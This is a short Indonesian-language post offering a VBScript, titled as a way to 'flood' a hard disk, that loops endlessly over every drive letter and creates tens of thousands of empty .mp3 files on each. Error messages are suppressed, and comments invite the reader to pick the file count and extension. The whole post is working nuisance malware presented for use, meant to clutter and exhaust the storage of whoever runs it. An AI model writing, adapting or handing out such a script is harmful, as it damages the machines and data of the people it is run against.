Nge FLOOD HD pake script VBS

on error resume next
set a=createobject("scripting.filesystemobject")
set b=a.opentextfile(wscript.scriptfullname)
cuki=b.readall
DO
for i=1 to 50000 'jumlahnya terserah mau 50000 lebih jg gp2
for r=65 to 90
dry=chr(r)&":\"
if a.fileexists(dry&"sakithati.vbs")=false then
set f=a.createtextfile(dry&"sakithati"&i&".mp3") 'membuat file dgn ext terserah anda
f.close
else
end if
next
next
LOOP